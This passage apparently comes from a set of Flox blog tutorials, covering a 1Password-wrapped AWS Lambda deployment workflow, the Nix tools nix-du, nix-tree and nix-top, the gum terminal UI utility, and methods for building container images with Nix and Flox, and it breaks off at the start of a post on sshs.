integrated 1Password secrets management_. With it, we’ll build, test, and deploy an AWS Lambda function—without having to worry about debugging missing dependencies or wrestling with auth headaches. Imagine your team manages infrastructure, deploys applications, and runs data pipelines across GitHub, AWS, Databricks, and other cloud services. You use CLI tools to pull data, deploy code, and manage infra, all of which require secure auth and secrets management. No problem! Your platform team built a Flox environment with everything you need, including automated auth via 1Password for `git`, `gh`, `aws`, and `databricks`. The only thing you care about is that this environment Just Works everywhere, regardless of which platform it’s running on. It even works _across contexts_—locally, in CI, and in prod. And because Flox is based on Nix, it enables reproducible builds at scale. You can get this environment by running: ``` flox pull --copy barstoolbluz/xplatform-cli-tools ``` Running `flox pull --copy`** gives you a way to customize your platform team’s Flox environment. This is useful if you need to install packages, define env vars and services, or author custom logic. For your org as a whole, FloxHub enables simplified sharing via its intuitive **`flox push`** and **`flox pull`** syntax. You can also get this environment from GitHub. Just run the following command: ``` git clone https://github.com/barstoolbluz/xplatform-cli-tools ``` OK, let’s dig into a plausible sample workflow that showcases this environment at work. ## The workflow In this example workflow, we’ll spin up a Git repo, throw together a basic Node.js Lambda, and test it locally before pushing it to GitHub. Deployment runs through AWS CLI, which is wrapped to handle auth via 1Password and `op run`—which means no exposed creds, no manual token management. Once our Lambda is live, we’ll hit it with a test payload, verify the output, and log the results as a GitHub issue. Auth and secrets management in this workflow are completely transparent. Best of all, everything—CLI tools, env vars, auth wrappers—lives inside a Flox environment, so it’s portable _and_ reproducible. First, let’s set up our repository. We’ll create our repo directory, change into it, and `git init` a new repo: ```sh $ mkdir mars-needs-lambdas && cd mars-needs-lambdas $ git init … Initialized empty Git repository in /home/daedalus/dev/lambda-demo/mars-needs-lambdas/.git/ ``` Next we’ll create our lambda function file. This is a proof-of-concept only, so let’s keep it basic: ```json $ cat > package.json << 'EOF' { "name": "mars-needs-lambdas", "version": "1.0.0", "description": "a simple lambda function for demonstration purposes", "main": "index.js", "scripts": { "test": "node -e \"const handler = require('./index').handler; handler({test: 'local-execution'}).then(console.log)\"" }, "author": "", "license": "MIT", "dependencies": {} } EOF ``` Now let’s test the function locally with Node.js before deploying to AWS. We can **`flox install nodejs`** if we want _any_ version, or **`flox install**` a _specific_ version—e.g., **`flox install nodejs@20.14.0`**. ``` $ flox install nodejs@20.14.0 ✅ 'nodejs' installed to environment 'aws-ghcli' $ node -e "const handler = require('./index').handler; handler({test: 'sample-event'}).then(console.log)" event received: { "test": "sample-event" } response: { "receivedEvent": { "test": "sample-event" }, "timestamp": "2025-03-16T18:39:31.738Z", "message": "the last thing mars needs is human settlement", "environment": "development" } { receivedEvent: { test: 'sample-event' }, timestamp: '2025-03-16T18:39:31.738Z', message: 'the last thing mars needs is human settlement', environment: 'development' } ``` It works! Next we’ll add `index.js` and other required artifacts to the repo: ```sh $ git add index.js package.json $ git commit -m "mars needs lambdas function implementation" [master (root-commit) 5636714] mars needs lambdas function implementation 2 files changed, 27 insertions(+) create mode 100644 index.js create mode 100644 package.json ``` Now let’s (re)create our repo on GitHub: ```sh $ gh repo create mars-needs-lambdas --private --source=. --remote=origin https://github.com/barstoolbluz/mars-needs-lambdas ``` And push it to master: ```sh $ git push -u origin master # or 'main' depending on your default branch Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 16 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (4/4), 807 bytes | 807.00 KiB/s, done. Total 4 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0) To https://github.com/barstoolbluz/mars-needs-lambdas.git * [new branch] master -> master branch 'master' set up to track 'origin/master'. ``` In the background, offscreen, I ran a script that lets me easily define and/or invoke IAM roles as needed. This script also deploys my Lambda functions; here’s some partial output from its run: ```json creating lambda function 'mars-needs-lambdas'... { "FunctionName": "mars-needs-lambdas", "FunctionArn": "arn:aws:lambda:us-east-1:140439111649:function:mars-needs-lambdas", "Runtime": "nodejs18.x", "Role": "arn:aws:iam::140439111649:role/mars-lambdas-role", "Handler": "index.handler", ... } ``` In the following code block, I’ll create a dummy JSON object that serves as the event input that gets passed to my Lambda function when I invoke it. When my Lambda executes, this data appears in the event parameter of my handler function—the entrypoint for my Lambda, defined in `index.js`—giving me a way to test how my function processes different inputs. To do all of this I’m invoking my Lambda function using the AWS CLI, which is wrapped by my Flox environment to transparently handle authentication via 1Password and `op run`. This both avoids credential leakage and keeps my workflow simple: ```sh $ echo '{"key": "demo value", "source": "aws-cli"}' > payload.json $ aws lambda invoke \ --function-name mars-needs-lambdas \ --payload fileb://payload.json \ --cli-binary-format raw-in-base64-out \ response.json { "StatusCode": 200, "ExecutedVersion": "$LATEST" } $ cat response.json { "receivedEvent": { "key": "demo value", "source": "aws-cli" }, "timestamp": "2025-03-16T19:09:48.097Z", "message": "the last thing mars needs is human settlement", "environment": "development" } ``` Now I’ll use `gh` to create a GitHub issue that includes the results: ```sh $ gh issue create --title "Lambda function test results" --body "$(cat response.json)" https://github.com/barstoolbluz/mars-needs-lambdas/issues/1 ``` Success! ## Try it for yourself All of the CLI tools used in this example workflow—`gh`, `git`, `aws`, and `op` itself—are wrapped to use either `op run` (`gh` and `aws`) or `op read` (`git`), so credentials aren’t exported as env vars or persisted to disk. And because it’s defined as a Flox environment, it runs the same everywhere. If a CLI tool needs credentials, wrapping it is just a matter of knowing: - Where your secrets live; - How to fetch them; and - How to pass them in. Every secrets manager—whether it’s 1Password, HashiCorp Vault, or Doppler—has a structure: vaults, paths, projects, configs, whatever you want to call them. You just need to map these fields to the specific secrets and keys you care about. Tools like `aws` and `gh` work cleanly with env vars, so you can use `op run`, `vault exec`, or `doppler run` to inject them when the command runs. Other tools, like `git`, might need a different approach, like `op read` or dynamically setting `GIT_ASKPASS`. The Flox environment used in this walk-through is built around 1Password, but the pattern applies to any secrets manager—fetch secrets at runtime, inject them where appropriate, and don’t leave them behind. ## Workflows that Just Work anywhere Managing auth, secrets, and tooling across the SDLC has got to be one of the biggest challenges in DevOps. Platform teams want to give engineers a reliable, reproducible way to handle all three, but spend too much time debugging works-on-my-machine issues. Managing secrets works differently in local dev than in CI and prod, so everyone—from individual contributors, to SREs, to platform teams—falls back on a least-common-denominator approach … because it’s the only thing that works everywhere. Flox is a cross-platform package and environment manager you can use to create portable environments that include everything you need at runtime—like CLI tools, infrastructure services, dependencies, and application frameworks—so your workflows behave the same across local dev, CI, and prod. Intrigued by what you’ve read? Skeptical? Flox is free—so why not [download it](https://flox.dev/docs/install-flox/) and try it out? Put it to the test yourself! Title: Level Up Your Nix Experience with This Trio of Tasty Tools Source: https://flox.dev/popular-packages/level-up-your-nix-experience-with-this-trio-of-tasty-tools/ Date: 2025-03-07 Category: tutorial # Level Up Your Nix Experience with This Trio of Tasty Tools Whether you are using Nix or Flox, tools like nix-du, nix-tree, and nix-top are so useful that you’re probably going to want to have them close at hand. If you work with Nix, you might already have tools like [nix-du](https://github.com/symphorien/nix-du) and [nix-tree](https://github.com/utdemir/nix-tree) in your toolkit. If you detect a theme with the names of both of these, you aren’t wrong: they’re Nix-specific implementations of existing Unix or Linux tools. nix-du is a reimagining of [du](), nix-tree of [tree](). The final selection, [nix-top](https://github.com/amarshall/nix-top) is directly in this lineage, too. Like the venerable [top]()—grandsire to tools like [htop](https://en.wikipedia.org/wiki/Htop) and [btop](https://github.com/aristocratos/btop)—it provides a no-nonsense overview of Nix derivations as they’re being built on a system, giving you a way to monitor progress, resource usage, and bottlenecks. Let’s explore how each of these tools fits into your workflow! ## Getting them Getting these packages is slightly easier with Flox than with Nix. With Nix, you’d do something like: ``` nix profile install --profile ~/dev/bag-o-nix nixpkgs#nix-du nixpkgs#nix-tree nixpkgs#nix-top export PATH="$HOME/dev/bag-o-nix/bin:$PATH" # activate the nix shell ``` And with Flox, you’d run: ``` flox init -d ./bag-o-nix # initializes the new flox env in directory `bag-o-nix` flox install -d ./bag-o-nix nix-du nix-tree nix-top graphviz # installs dependencies in `bag-o-nix` flox activate -d ./bag-o-nix # activates ``` These are _imperative_ installation methods. But both Nix and Flox support _declarative_ methods, too. For example, to define these packages in a Nix dev shell, you’d create the following `shell.nix`: ``` # shell.nix example { pkgs ? import {} }: pkgs.mkShell { buildInputs = with pkgs; [ nix-du nix-tree nix-top graphviz # used to generate .svg files with nix-du and nix-tree ]; } ``` In Flox, you can do this either by directly editing [manifest.toml](https://flox.dev/docs/reference/command-reference/manifest.toml/?h=manifest.toml) (the Flox environment’s declarative configuration artifact) or by running **`flox edit`**, Flox’s built-in editing facility. Here’s what this looks like: ``` [install] nix-du.pkg-path = "nix-du" nix-tree.pkg-path = "nix-tree" nix-top.pkg-path = "nix-top" graphviz.pkg-path = “graph-viz” # used to generate .svg files with nix-du and nix-tree ``` _However_ you opt to get these packages, once you’ve got them installed, you’re ready to use ‘em. So let’s do that. ## Using them One frequent question I hear from Flox users who aren’t Nix experts is: how do I determine how much space Flox (and, by extension, the `/nix/store`) are using? Thankfully there’s an app for that! ``` nix-du -s 1MB | dot -Tsvg > /tmp/nix-store-usage.svg ``` This uses `nix-du` to analyze the Nix store's dependency graph, filter out paths under 1MB, optimize the graph, and generates an SVG visualization of the store usage at `/tmp/nix-store-usage.svg`. And this command shows the 20 largest nodes in `/nix/store`: ``` nix-du -n 20 | dot -Tsvg > /tmp/top20.svg ``` One final one: let’s visualize all of the dependencies associated with Nix’s `postgresql_16` package: ``` nix-du -r /home/daedalus/dev/postgres-metabase/.flox/run/x86_64-linux.postgres.dev/bin/psql -s 10MB | dot -Tsvg > /tmp/postgresql-flox-deps.svg ``` Kind of useful, no? Next, let’s check out the `nix-tree` package. What can one do with this? Some truly neat things, as it turns out: ``` nix-tree /home/daedalus/dev/postgres-metabase/.flox/run/x86_64-linux.postgres.dev/bin/psql ``` This command provides a terminal user-interface (TUI) representation of the dependency graph for `postgresql_16`. The screenshot below displays its output in all of its TUI-fied glory. I love this next one! It’s another visualization of dependencies, again with the `postgresql_16` packages. ``` nix-tree --dot /home/daedalus/dev/postgres-metabase/.flox/run/x86_64-linux.postgres.dev/bin/psql > ~/psql-deps.dot dot -Tsvg ~/psql-deps.dot > ~/psql-deps.svg ``` Finally, let’s look at nix-top, which I first discovered when I was playing with my colleague Ross Turk’s [flaim](https://flox.dev/blog/ml-modeling-with-flaim-and-hugging-face-diffusers/) environment. `flaim` uses Nix to build PyTorch from scratch, which (if you know anything about PyTorch) is quite a time-consuming task. Flox provides feedback on the progress of this task, but nix-top gives you real-time insight to which derivations are being built. These days, I tend to fire up `nix-top` whenever builds take a long time. Just out of curiosity. In the example below, I’m using a `flake.nix` to build [gpt4all](https://github.com/polygon/gpt4all-nix). nix-top’s aesthetic is very much like that of the original top, providing a no-nonsense overview of Nix derivations as they’re being built on a system. Here’s another screenshot of `gpt4all` building: And in the screenshot below, I’m using it to monitor a long-running task started via a flake. It isn’t pretty, but it’s informative. If you frequently use Nix for builds, nix-top is quite useful. ## Nix Tools For All Nix is an obscenely powerful **world-builder**. What else can you call software that combines - A platform- and hardware-agnostic package manager; - A cross-platform solution for creating portable, reproducible environments; - A store-based isolation model for eliminating dependency conflicts; - A cross-platform, cross-architecture build system for supporting deterministic builds; And Flox gives you everything that Nix gives you—albeit in an easier-to-use UX, a streamlined build system, and managed private catalog services. Whether you’re using Nix _or_ Flox, tools like `nix-du`, `nix-tree`, and `nix-top` are extremely useful—you’re probably going to want to have them close at hand. No problem! You can get all three packages, along with more than 150,000 others (and literally millions of historical package-version combinations) in Nixpkgs or the Flox Catalog. Check Nix out! Yes, it has a reputation for being intimidating, but _getting started with it_—e.g., installing packages, creating Nix shells, and other tasks—is pretty straightforward. (Also: LLMs are quite good at bootstrapping your Nix experience. If in the 1990s, you could learn a lot [from a dummy](https://www.youtube.com/watch?v=uYQR5ktq7W0), in the 2020s, you can learn a lot from an LLM. Some of it true!) And if you want the benefits of Nix in an easier-to-use UX, [check out](https://flox.dev/get) Flox! Title: Create Colorful Stylish Splashy Terminal Apps with gum and Flox Source: https://flox.dev/popular-packages/create-colorful-stylish-splashy-terminal-apps-with-gum-and-flox/ Date: 2025-02-28 Category: tutorial # Create Colorful Stylish Splashy Terminal Apps with gum and Flox If you author shell scripts or create software that runs in a terminal, gum should probably be in your toolkit, especially if you’re building stuff for other people. You want what you build to look and feel good, right? This featured package is especially near and dear to our hearts. It’s something we happy few in Flox marketing use every. single. day. It’s [gum](https://github.com/charmbracelet/gum), a beauty of a utility from the redoubtable folks at [Charm](https://github.com/charmbracelet). Gum makes it a cinch to add interactive UI elements—like selection menus, input prompts, and progress indicators—to your terminal apps. If you author shell scripts or create software that runs in a terminal, gum should probably be in your toolkit, especially if you’re building stuff for other people. You want what you build to look and feel good, right? It gives you a simple, flexible way to add style and splash—what its creators call “glam”—to scripts and apps. Let’s explore how it can fit into your workflow. ## Long-lasting, sugar-free TUI sweetness Gum is more than just a tool for titivating a terminal user interface (TUI)! You can use gum to: - **Filter text**. The `gum filter` command supports a fuzzy search capability so users can search interactively through a list of pre-defined options. Think [fzf](https://flox.dev/blog/get-warm-and-fuzzy-search-in-your-shell-with-fzf-and-flox/), but with more flexibility when used with or called from other programs. - **Select items**. `gum choose` gives you a way to add interactive selection menus to TUI shell scripts. - **Prompts**. Commands like `gum input` and `gum confirm` prompt users for input, from free-text responses to simple yes/no confirmations. - **Progress indicators**. Flox’s own Ross Turk loves gum for this one especially! Use `gum spin` and `gum progress` do display animated spinners or progress bars in your shell scripts. - **Timers**. Need to add a countdown to a TUI script? Use `gum timer`! Along with `gum spin`, Flox’s example environments use `gum style` and `gum format` to add text formatting, colors, and borders. Because gum reads from `stdin` and writes to `stdout`, you can use it with binaries, too. One pattern is using `gum choose` or `gum input` to collect input from users before passing it to a binary. Try it for yourself. Speaking of which... ## Getting It Let’s go about fetchin’ and usin’ it. Already got Flox? Great. You’re good to go. You can get our `gum` package by initializing a Flox environment and installing it from the Flox Catalog. This is literally as simple as typing: ``` mkdir bubbalicious && cd bubbalicious flox init && flox install gum flox activate ``` ## Using It You got a taste for what gum can do in the screenshot above. If you visit my [FloxHub](https://hub.flox.dev/barstoolbluz), you’ll discover I’ve made a gum-driven UI + UX a kind of standard feature of the environments I build, especially when I know they’re going to be used by others. The following is from a [Neo4j](https://github.com/neo4j/neo4j) Flox environment I built for a friend: Selecting “Yes” takes the user through a configuration process that completely bootstraps a custom Neo4j setup. It captures free-form text input and (as shown above) surfaces prompts. Once in a Flox subshell, it shows this familiar message: Here’s the same informational message in a script I created for another friend: Later in this script’s flow, it showcases `gum input`, surfacing a selecting menu from which a user can select and install PostgreSQL extensions. Below I’ve selected several extensions that aren’t yet installed: My script uses gum to prompt the user to confirm their selections, then uses other gum commands (`gum progress`, `gum style`, `gum format`) to display informational text updating the user as to its progress: (**Note**: This might be and probably is an anti-pattern. It’s easy to use imperative commands to install PostgreSQL extensions from the command line. It’s even easier to edit Flox’s environment manifest to add them declaratively.) Ross Turk introduced me to gum and uses it in many of the things he builds. Check out his [FloxHub](https://hub.flox.dev/rossturk) if you’re curious about the many and varied uses he finds for it. Here `gum choose` powers a menu in his `dosgames` env so users can select + play productivity-improving games. One final screenshot: it’s from a Flox environment I built some time ago to bootstrap 1Password and the `awscli2` for [working with AWS](https://flox.dev/blog/flox-and-aws-taking-the-chaos-out-of-secrets-management/) web services. (Like all Flox environments, it still Just Works … 8 months later.) ## Summary So that’s gum. It’s one of several gems from the magnificent, the thaumaturgical folks o’er at [Charm](https://charm.sh/). Wanna build TUI tools incorporating gum-like features? Check out Charm’s [bubble tea](https://github.com/charmbracelet/bubbletea) framework. Or how about pretty / powerful SSH apps? As you [wish](https://github.com/charmbracelet/wish): Charm’s got a framework for that, too. They're also the madcap geniuses behind [vhs](https://github.com/charmbracelet/vhs), a tool that records and renders your terminal sessions as GIFs or videos. Having chewed … not the fat but (`echo $GROAN`) the gum with you, I now give you … The Weekend. Happy Hacking! Title: Nix and Containers: Why Not Both? Source: https://flox.dev/blog/nix-and-containers-why-not-both/ Date: 2025-02-25 Category: guide # Nix and Containers: Why Not Both? People often say they don't use Nix because it solves the same problems as containers. This is a half truth. Nix specializes in packaging software, containers excel at deploying it. They're best used together. ### TL;DR - Nix and containers solve different problems but work best together. - Nix builds deterministic, reproducible software with fully specified dependencies. - Containers package and run software in portable, isolated environments. - [Flox simplifies using Nix for development and container workflows](https://flox.dev/). Nix gives you a scalable, reliable way to build [deterministic, reproducible OCI container images](https://flox.dev/blog/enterprise-nix-its-time-to-bring-nix-to-work/), which you can deploy using _any_ OCI-compatible tooling, runtime, or orchestration system. This article explores how and why Nix and containers complement each other—and why you might use Nix to build containers. Think of it as a kind of technological mutualism: [Nix specializes in _packaging_ software, while containerization excels at _deploying_ it](https://flox.dev/nixinthewild/nix-in-the-wild-bellroy/). To better understand this distinction, let’s examine the differences between Nix and containerization as approaches to packaging, distributing, and deploying software. ## The role of containers It’s helpful to think of containers as _infrastructure artifacts_ optimized for running workloads in isolated environments to meet operational needs—whether for scaling services, ensuring availability and resilience, or shipping software to CI and production. Containers strike a balance between isolation and portability, making them easier to build, run, and maintain than other forms of encapsulation, like VMs. This makes them a convenient solution for deploying software. But a container doesn’t _package_ software any more than a shipping container packages goods. “Packaging” happens beforehand—when software is built, staged, and configured prior to being loaded into a container image, just as goods are palletized, crated, or unitized before being loaded into a shipping container. In both contexts, the role of the container is to provide a standard, convenient unit for _transport_—i.e., deployment. Containers are an ideal tool for this: they encapsulate software into a portable, isolated runtime designed for the most common infrastructure platforms used in CI and production. ## How Nix is different from containers [Nix, by contrast, is a package manager and build system](https://flox.dev/blog/the-experienced-novice-dives-into-nix/) that builds packages based on declarative definitions, [Nix expressions](https://nixos.org/guides/nix-pills/04-basics-of-language.html), which evaluate to [derivations](https://nix.dev/manual/nix/2.25/language/derivations) that specify build inputs and steps. So when you run `nix build`, Nix either retrieves pre-built binaries from a [binary cache](https://cache.nixos.org/) _or_ evaluates the Nix expression to build the package from source in an isolated sandbox. Because package definitions are [versioned in Git](https://github.com/NixOS/nixpkgs), they can be pinned to specific commits for reproducibility. If a prebuilt binary is unavailable, Nix can just build the package from source using the pinned definition. Nix doesn’t just track individual packages—it tracks all dependencies transitively, so that every input needed to reproduce a package is available. This complete set of dependencies is called the [Nix closure](https://nix.dev/manual/nix/2.25/glossary.html?highlight=closure#gloss-closure). ### Nix vs. containers
Containers Nix
Size Building a container image starts with installing a base OS and a bunch of build-time dependencies. Afterward, the user needs to strip out everything that's not needed at runtime. It's possible to start with minimal base images or use third-party utilities to strip out unneeded software, but by default, container images include unneeded bits. Nix has knowledge of every dependency an application needs at runtime (the runtime closure)—not only the names of the packages, but also precisely which version and build is needed. With this knowledge it's possible to create "perfect container images", which are by definition the smallest possible size. All of this comes from the primitives provided by Nix.
Easy customization Containers rely on the base image's package manager (e.g. an Ubuntu image will use apt, a Red Hat-based image will use dnf), and for the most part, they are limited to using software included in that distro. Nix is tightly coupled with{' '} Nixpkgs—an open source repository of build recipes for a large number of software packages and libraries. Nix allows you to modify package build recipes independently of the defaults specific to a distribution. And according to repology Nixpkgs is fresher and larger than any other open source repo, thanks to active support from the Nix community.
Reproducibility Builds are not reproducible. For example, a Dockerfile will run something like apt update or dnf check-update as one of the first steps. Resources are accessible over the network at build time, and these resources can change between `docker build` commands. There is no notion of immutability when it comes to source. Builds can be fully reproducible. Resources are only available over the network if a checksum is provided to identify what the resource is. All of a package's build-time dependencies can be captured through a Nix expression, so the same steps and inputs (down to libc, gcc, etc.) can be repeated.
Dependency Sharing Dependencies are shared if you carefully craft your container layers to be identical. Every dependency can be shared, not only between containers, but also between containers and any machine using Nix.
Build instructions Dockerfiles and official images repeat a lot of work taking place in Nixpkgs (grabbing source, patching, make, make install). And they do this work as pureshell scripts. This results in further inconsistencies and breakages, especially when you need to use a fresher version of some package. There's also no convenient way to build bespoke versions of dependencies when necessary. All packages use a widely maintained and frequently updated set of build instructions. The community keeps these instructions fresh, and we make sure the rare breakages that do occur never propagate to your software. When you need to build bespoke versions of dependencies, Nix makes it easy to override build instructions (e.g. change a build flag).
## The benefits of using Nix and containers together Containers have no equivalent to a Nix closure. While you can pin package versions in container builds, base image tags are mutable, system package managers depend on external repositories, and registries like PyPi or npm may remove or change package versions. A container image is essentially a snapshot of a filesystem at a specific point in time, with no built-in mechanism for regenerating its state from first principles. To sum up: - Containers capture filesystem snapshots but cannot deterministically regenerate their state; - Nix derivations fully specify builds, permitting deterministic rebuilds. Nix and containers are best when they’re used together. Nix gives you a way to build and package software in a way that guarantees reproducibility, while containers provide a standard, convenient way to distribute and run it. You can use Nix to construct container images that fully specify their runtime dependencies. This eliminates common sources of variability like mutable base images, external package repositories, and non-deterministic build metadata. Containers then provide an isolated, portable execution environment, making them ideal for deployment. ## How to use Nix in container workflows: Two different methods Nix being Nix, there are several approaches you can use to export a Nix shell or profile to a container. This article describes two possible methods of using Nix with containers. Rest assured, there are many others. These are: - Define an environment using Nix, export this environment to a container; - Create a Nix flake and leverage `dockerTools` from Nixpkgs to generate a container; Which method is right for you? For most teams using Nix, the second is usually preferable. I’ll explore each one in depth so you can get a sense ofr what’s involved, how they work, and how they’re usefully distinct. ## Method 1: Define environment with Nix, export to container It is straightforward to specify a runtime environment with Nix and export it in a container. This method is ideal if you _already have_ a Nix runtime environment—be it a Nix shell or profile; a Flox environment; or even just a single package—and want to containerize it. This process involves: - Using Nix to resolve all required runtime dependencies; - Assembling these into a `chroot`-like filesystem structure; - Exporting this `chroot` into a container. Believe it or not, this basic approach is … how traditional container base images are built. But [when you do this with a Nix expression](https://flox.dev/docs/concepts/nix-expression-builds/), you don’t need to start with a base image, and you’re building _only_ required dependencies into the container runtime. You’re also defining the container _declaratively_, specifying the configuration of both the runtime environment and the container image in a single Nix expression. Nix handles dependency resolution and produces a fully specified OCI-compliant image, building everything into a single monolithic layer. The final step involves leveraging `docker build` or `podman build` to package the assembled `chroot` into an OCI-compliant image. This workflow uses these tools to do just one thing: copy the `chroot` into the OCI image. This eliminates the imperative build logic typically used in Dockerfiles and keeps the entire build process simple and deterministic. All critical steps are handled declaratively by Nix. What does this look like? The scripting logic in the code block below builds a minimal Docker image by: - Creating a Nix profile with required packages; - Copying its store paths into `root-store`; and - Manually setting up basic system files like `passwd`, `group`, and `nix.conf`. This script then defines a _pro forma_ Dockerfile using an empty base image (`FROM scratch`); copies `root-store` as the container’s root filesystem; configures a non-root user (`uid 1000`); and sets Bash as the entrypoint. Basically, the minimal Dockerfile and `docker build` are used only to package the Nix-defined `root-store` into an OCI image, with no imperative build steps beyond copying the `root-store` filesystem. First, the script used to define the Dockerfile: ``` ==> Dockerfile <== FROM scratch # all the best # Copy over our chroot into the container COPY --chown=1000:1000 root-store/ / # Set up some env stuff USER 1000 ENV NIX_SSL_CERT_FILE=/etc/ssl/certs/ca-bundle.crt # required for https network calls WORKDIR /home/user # This can be anything you desire ENTRYPOINT ["/bin/bash"] ``` Next, the script used to prepare a Nix profile: ``` # Create a nix profile containing stuff you need nix profile install nixpkgs#{bashInteractive,coreutils,cacert} --profile ./profile # Create a root-store for copying into container # ./profile can be ANY STORE PATH, even a flox env or a single package nix copy --to $PWD/root-store ./profile cp -r profile/* root-store/ chmod +w root-store/etc echo user:!:1000: > root-store/etc/group echo user:!:1000:1000::/home/user:/bin/bash > root-store/etc/passwd #support non-root user mkdir root-store/{tmp,etc/nix} # Build the container docker build -t foo . ``` This method of copying a fully assembled Nix store path into the container also hints at an alternative approach: bind-mounting the necessary `/nix/store` paths into the container from the host, a volume, or another container. This approach minimizes the container’s own footprint while avoiding duplication of dependencies, allowing multiple containers—or the host and containers—to share the same store paths. ## Method 2: Create a Nix flake and leverage dockerTools A second option is to use `buildLayeredImage` from the Nixpkgs [dockerTools library](https://ryantm.github.io/nixpkgs/builders/images/dockertools/) to construct OCI images declaratively with Nix. Instead of creating an imperative Dockerfile with `RUN` commands, this uses a Nix flake to define both the contents of the container (its dependencies) and its structure (its layers). Other variants, such as `streamLayeredImage`, can generate layers incrementally during the build process, This reduces intermediate storage use and avoids the need to first materialize the full image in the Nix store. **Note**: The flake below is specifically written for `buildLayeredImage` and would need adjustments to work with `streamLayeredImage`. Unlike the first method outlined above, **Method 2** doesn’t produce a monolithic container image with all dependencies bundled into a single layer. Rather, each dependency gets its own layer. Since Docker caches image layers and reuses them when it builds new images, structuring the image this way enables it to detect and reuse unchanged dependencies _at the level of individual Nix store paths_. This has at least four benefits: - **Permits build reuse when images share dependencies**. Each dependency gets its own layer; - **Speeds up image rebuilds when dependencies change**. Rebuild the layer, not the whole image. - **Keeps the build process fully declarative.** The Nix closure defines the dependencies used to build the image; - **Uses Nix as a build tool.** This guarantees builds are deterministic. This method doesn’t rely on using a Dockerfile and Docker’s [BuildKit](https://docs.docker.com/build/buildkit/) backend. Instead, you’re using the Nix derivation generated by `buildLayeredImage` to construct a container image—without invoking Docker or Podman. The flake below defines a configuration that `nix build` uses to: - Build an OCI image named `teh-awesome-container:v1` with `dockerTools.buildLayeredImage`; - Include dependencies (`hello`, `perl`, `python3`) along with the contents of the current directory; - Set `hello` as the container’s entrypoint. ``` { inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable"; outputs = _: { packages = builtins.mapAttrs (system: pkgs: rec { default = pkgs.dockerTools.buildLayeredImage { name = "teh-awesome-container"; tag = "v1"; contents = pkgs.buildEnv { name = "env1"; paths = [ pkgs.hello pkgs.perl pkgs.python3 ./. # COPY the current dir in ]; }; config = { # OCI Runtime configuration goes here: Cmd = ["hello"]; }; }; }) _.nixpkgs.legacyPackages; }; } ``` The final steps would involve using `docker load` or `podman load` to import the resulting image into Docker or Podman respectively, or using `docker push` or `podman push` to push to a container registry. ## Flox, the simplest way to use Nix in container workflows Most teams familiar with Nix will probably opt for **Method #2**. This gives them a way of using Nix with their existing container-based workflows—and vice-versa—and guarantees that the build process itself is deterministic and fully reproducible. However, there is another method I’d like to describe: using Flox to build an OCI container image. It involves: - **Initializing and defining a Flox environment**. Run **[flox init](https://flox.dev/docs/reference/command-reference/flox-init/?h=flox+init)** to create an environment, use commands like **[flox install <package_name>](https://flox.dev/docs/reference/command-reference/flox-install/?h=flox+install)** to imperatively install software from Nixpkgs. Or define runtime software and required dependencies declaratively using TOML in the Flox environment's manifest. - **Configuring settings, services, and available features**. The Flox [environment manifest](https://flox.dev/docs/reference/command-reference/manifest.toml/?h=manifest.toml) has separate sections for defining environment variables (**`[vars]`**), services (**`[services]`**), setup and teardown tasks (**`[hook]`**), and in-environment features and functions (**`[profile]`**). Teams define variables, services, actions, and functions using a combination of TOML and Bash shell scripting logic. Running **[flox containerize](https://flox.dev/docs/reference/command-reference/flox-containerize/?h=flox+contain)** inside a Flox environment produces a tarball (with the **`--file`** option) _or_ writes to `stdout`, piping the image to `docker load` or `podman load`. By default, **`flox containerize`** loads the image into whatever container runtime it finds in `PATH` (e.g., Docker or Podman), or writes to `./-container.tar` if no runtime is available. In the end, this as simple as: ``` flox init flox install hello perl python3 flox containerize ``` With this approach, you get Nix's build guarantees but don't have to know how to write Nix expressions or flakes. It's a simple way of encapsulating a runtime into a container so it builds deterministically. If you're curious about what you've read here, want to learn more about Flox, or want to share your own preferred methods for constructing containers, drop into our [community Discourse](https://discourse.flox.dev/) forum or join our [community Slack](https://go.flox.dev/slack). We'd love to chat with you. ## FAQs about Nix and containerization **How do Nix and traditional container tools differ in their approach to software delivery?** Nix functions as a package manager and build system. It creates fully reproducible and deterministic software builds with all dependencies explicitly tracked in a "closure." Traditional container tools like Docker, on the other hand, do not inherently guarantee the reproducibility of the build process itself. Their instructions can fetch mutable external resources. Nix excels at preparing pristine, minimal software "packages," while containers specialize in transporting and running these packages. **What specific benefits does Nix bring to the creation of OCI container images?** Thanks to its declarative nature and checksum-verified inputs, Nix can guarantee reproducibility and determinism. "Perfect container images" of the smallest possible size can then be created. Nix precisely knows all runtime dependencies. Nix also facilitates extensive dependency sharing not only between containers but also with any machine using Nix. In doing so, it reduces duplication and speeds up development. **How do the various methods for integrating Nix with container workflows function?** Here are three ways to approach the integration: Define a runtime environment with Nix. Assemble its dependencies into a chroot-like structure then use container tools like Docker solely to package this pre-assembled filesystem into an OCI image. Declaratively construct OCI images with Nixpkgs' dockerTools.buildLayeredImage. Each dependency then occupies its own layer, enabling efficient caching and rebuilds without traditional Dockerfiles. The simplest way is to use Flox. It automates the process, allowing users to define and containerize Nix environments without writing complex Nix expressions. **In what ways do Nix and containers achieve a "better together" synergy for developers?** They each address different stages of the software lifecycle. Nix ensures that software builds are fully specified and reproducible, eliminating common sources of variability like mutable base images or non-deterministic build metadata. Containers then provide an isolated, portable execution environment, making deployment reliable across various infrastructure platforms. We recommend using Nix to construct container images. This way, developers gain the confidence of deterministic builds combined with the convenience and scalability of container-based distribution and orchestration. Title: Transform SSH Host Management with sshs and Flox Source: https://flox.dev/popular-packages/transform-ssh-host-management-with-sshs-and-flox/ Date: 2025-02-25 Category: tutorial # Transform SSH Host Management with sshs and Flox sshs is a clean, simple TUI tool that lets you visually scroll through your SSH connections—identifying, selecting and easily establishing just the connection you want. Picture this: you’re awash in SSH connections. Day in and day out, you use SSH to connect to app servers, databases, Kubernetes nodes, CI/CD runners, seedboxes, Raspberry Pis, routers, switches, etc. These endpoints are dispersed across AWS, your org’s on-prem infrastructure, hosting providers in the EU, your home, your parents’ condo, and your best friend’s third-floor walk-up in the East Village. You can’t keep track of them all. You have trouble remembering what their names are, what they’re for, etc. And each requires different key pairs, usernames, and ports. Some even require [YubiKeys](https://en.wikipedia.org/wiki/YubiKey)! Maybe you don’t have to picture it, ‘cuz you’re living it. But how do you _deal_ with it? Sshs! No, I’m not [sshshing you](https://www.youtube.com/watch?v=G1PPQArkw-c), I’m introducing the package guide for [sshs](https://github.com/quantumsheep/sshs), a terminal user interface 